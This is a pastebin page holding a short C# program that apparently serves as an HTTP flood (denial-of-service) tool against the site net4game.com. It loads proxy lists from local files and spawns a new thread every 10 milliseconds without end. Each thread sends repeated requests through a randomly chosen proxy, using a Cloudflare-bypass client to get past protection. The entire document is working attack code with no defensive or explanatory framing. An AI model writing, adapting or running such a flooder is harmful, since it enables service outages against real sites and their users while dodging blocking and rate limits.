Facebook
From Tinct Owl, 5 Years ago, written in Plain Text.
Embed
Download Paste or View Raw
Hits: 257
  1. using Cloudflare_Bypass;
  2. using System;
  3. using System.Collections.Generic;
  4. using System.IO;
  5. using System.Linq;
  6. using System.Net;
  7. using System.Text;
  8. using System.Threading;
  9. using System.Threading.Tasks;
  10.  
  11. namespace AppTest
  12. {
  13.     class Program
  14.     {
  15.         private static List<WebProxy> proxies = new List<WebProxy>();
  16.  
  17.         private static int proxyIterator = 0;
  18.         private static int agentsIterator = 0;
  19.  
  20.         public static string url = "";
  21.  
  22.         public static void loadProxies()
  23.         {
  24.             string path = @"C:\Users\fszym\Desktop\proxies\proxies.txt";
  25.  
  26.             string readText = "";
  27.             try {
  28.                 readText = File.ReadAllText(path);
  29.             } catch {
  30.                 readText = File.ReadAllText(@"C:\Users\Filip\Desktop\proxies2.txt");
  31.             }
  32.  
  33.             string[] proxies_array = readText.Split('\n');
  34.  
  35.             foreach (var proxy in proxies_array) {
  36.                 try {
  37.                     string[] data = proxy.Split(':');
  38.                     var _proxy = new WebProxy(data[0], Convert.ToInt32(data[1]));
  39.                     _proxy.BypassProxyOnLocal = false;
  40.                     proxies.Add(_proxy);
  41.  
  42.                     proxyIterator++;
  43.                 } catch {
  44.                     Console.WriteLine("[ERR] Error while loading proxies.");
  45.                 }
  46.             }
  47.  
  48.             Console.WriteLine($"Loaded successfully {proxyIterator} proxy!");
  49.         }
  50.  
  51.         public static WebProxy getRandomProxy() {
  52.             Random r = new Random();
  53.             int index = r.Next(0, proxies.Count);
  54.  
  55.             return proxies[index];
  56.         }
  57.  
  58.         static void Main(string[] args) {
  59.             loadProxies();
  60.  
  61.             Thread thr = new Thread(LoadThreads);
  62.             thr.Start();
  63.  
  64.             Console.ReadLine();
  65.         }
  66.  
  67.         public static void LoadThreads() {
  68.             while (true)
  69.             {
  70.                 Thread thr = new Thread(SendRequest);
  71.                 thr.Start();
  72.  
  73.                 Random rand = new Random();
  74.  
  75.                 Thread.Sleep(10);
  76.             }
  77.         }
  78.  
  79.         public static void SendRequest() {
  80.             for (int i = 0; i < 5; i++)
  81.             {
  82.                 try
  83.                 {
  84.                     CF_WebClient client = new CF_WebClient();
  85.                     client.CookieContainer.Add(new Cookie("a", "1") { Domain = "net4game.com" });
  86.                     client.Proxy = getRandomProxy();
  87.  
  88.                     client.DownloadString($"https://net4game.com");
  89.  
  90.                     Console.WriteLine("[S] Successfully sended packets.");
  91.                 }
  92.                 catch
  93.                 {
  94.                     Console.WriteLine("[E] Error while sending packets.");
  95.                 }
  96.             }
  97.  
  98.             Thread.CurrentThread.Abort();
  99.         }
  100.     }
  101. }
  102.